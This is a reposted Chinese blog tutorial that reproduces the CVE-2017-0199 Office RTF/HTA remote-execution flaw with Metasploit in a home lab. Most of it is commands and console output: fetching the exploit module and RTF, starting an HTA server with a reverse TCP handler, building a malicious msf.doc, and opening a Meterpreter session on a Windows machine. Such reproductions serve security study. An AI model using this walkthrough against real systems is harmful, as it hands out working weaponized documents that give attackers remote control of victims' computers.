分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 运营维护

cve-2017-0199&metasploit复现过程

发布时间:2023-09-06 01:53责任编辑:苏小强关键词:meta

CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招

首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法

更新msf,增加国内源

 1 #清华大学 2 #deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free 3 #deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free 4 ?5 #浙大 6 #deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free 7 #deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free 8 ?9 #东软大学10 #deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib11 #deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib12 13 #官方源14 #deb http://http.kali.org/kali kali-rolling main non-free contrib15 #deb-src http://http.kali.org/kali kali-rolling main non-free contrib

没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.

1 apt-get clean && apt-get update -y && apt-get -f upgrade -y2 msfupdate

下载对应exploit

1 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat2 wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb

下载cve-2017-0199.rtf:

1 cd /usr/share/metasploit-framework/data/exploits2 wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf

开启HTA:

 1 root@kali:~# msfconsole 2 ???????????????????????????????????????????????????3 ?????, ??????????, 4 ????/ ?????????????5 ???((__---,,,---__)) 6 ??????(_) O O (_)_________ 7 ?????????\ _ / ???????????| 8 ??????????o_o \ ??M S F ??| ?9 ???????????????\ ??_____ ?| ?*10 ????????????????||| ??WW|||11 ????????????????||| ????|||12 13 14 Tired of typing ‘set RHOSTS‘? Click & pwn with Metasploit Pro15 Learn more on http://rapid7.com/metasploit16 17 ???????=[ metasploit v4.14.14-dev ????????????????????????]18 + -- --=[ 1642 exploits - 945 auxiliary - 289 post ???????]19 + -- --=[ 473 payloads - 40 encoders - 9 nops ????????????]20 + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]21 22 msf > use exploit/windows/misc/hta_server 23 msf exploit(hta_server) > show options 24 25 Module options (exploit/windows/misc/hta_server):26 27 ???Name ????Current Setting ?Required ?Description28 ???---- ????--------------- ?-------- ?-----------29 ???SRVHOST ?0.0.0.0 ?????????yes ??????The local host to listen on. This must be an address on the local machine or 0.0.0.030 ???SRVPORT ?8080 ????????????yes ??????The local port to listen on.31 ???SSL ?????false ???????????no ???????Negotiate SSL for incoming connections32 ???SSLCert ??????????????????no ???????Path to a custom SSL certificate (default is randomly generated)33 ???URIPATH ??????????????????no ???????The URI to use for this exploit (default is random)34 35 36 Exploit target:37 38 ???Id ?Name39 ???-- ?----40 ???0 ??Powershell x8641 42 43 msf exploit(hta_server) > run44 [*] Exploit running as background job.45 46 [*] Started reverse TCP handler on 192.168.1.101:4444 47 [*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta48 [*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta49 [*] Server started.50 msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta51 msf exploit(office_word_hta) > show options 52 53 Module options (exploit/windows/fileformat/office_word_hta):54 55 ???Name ??????Current Setting ?????????????Required ?Description56 ???---- ??????--------------- ?????????????-------- ?-----------57 ???FILENAME ???????????????????????????????no ???????The file name.58 ???TARGETURI ?http://example.com/test.rtf ?yes ??????The path to a online hta file.59 60 61 Exploit target:62 63 ???Id ?Name64 ???-- ?----65 ???0 ??Microsoft Office Word

生成payload doc文档:

 1 msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta 2 TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta 3 msf exploit(office_word_hta) > set FILENAME msf.doc 4 FILENAME => msf.doc 5 msf exploit(office_word_hta) > run 6 ?7 [+] msf.doc stored at /root/.msf4/local/msf.doc 8 msf exploit(office_word_hta) > ?9 msf exploit(office_word_hta) > 10 msf exploit(office_word_hta) > 11 msf exploit(office_word_hta) > 12 msf exploit(office_word_hta) > 13 msf exploit(office_word_hta) > 14 msf exploit(office_word_hta) > 15 16 msf exploit(office_word_hta) > 17 msf exploit(office_word_hta) > 18 msf exploit(office_word_hta) > 19 msf exploit(office_word_hta) > 20 msf exploit(office_word_hta) > 21 msf exploit(office_word_hta) > 22 [*] 192.168.1.108 ???hta_server - Delivering Payload23 [*] 192.168.1.108 ???hta_server - Delivering Payload24 [*] Sending stage (957487 bytes) to 192.168.1.10825 [*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.108:11021) at 2017-05-03 00:30:58 +080026 27 msf exploit(office_word_hta) > sessions -i28 29 Active sessions30 ===============31 32 ??Id ?Type ????????????????????Information ??????Connection33 ??-- ?---- ????????????????????----------- ??????----------34 ??1 ??meterpreter x86/windows ?FEIYU\yu @ FEIYU ?192.168.1.101:4444 -> 192.168.1.108:11021 (192.168.1.108)35 36 msf exploit(office_word_hta) > session 137 [-] Unknown command: session.38 msf exploit(office_word_hta) > sessions -i 139 [*] Starting interaction with 1...

去目标机上看下:

cve-2017-0199&metasploit复现过程

原文地址:https://www.cnblogs.com/haiyan123/p/9015905.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved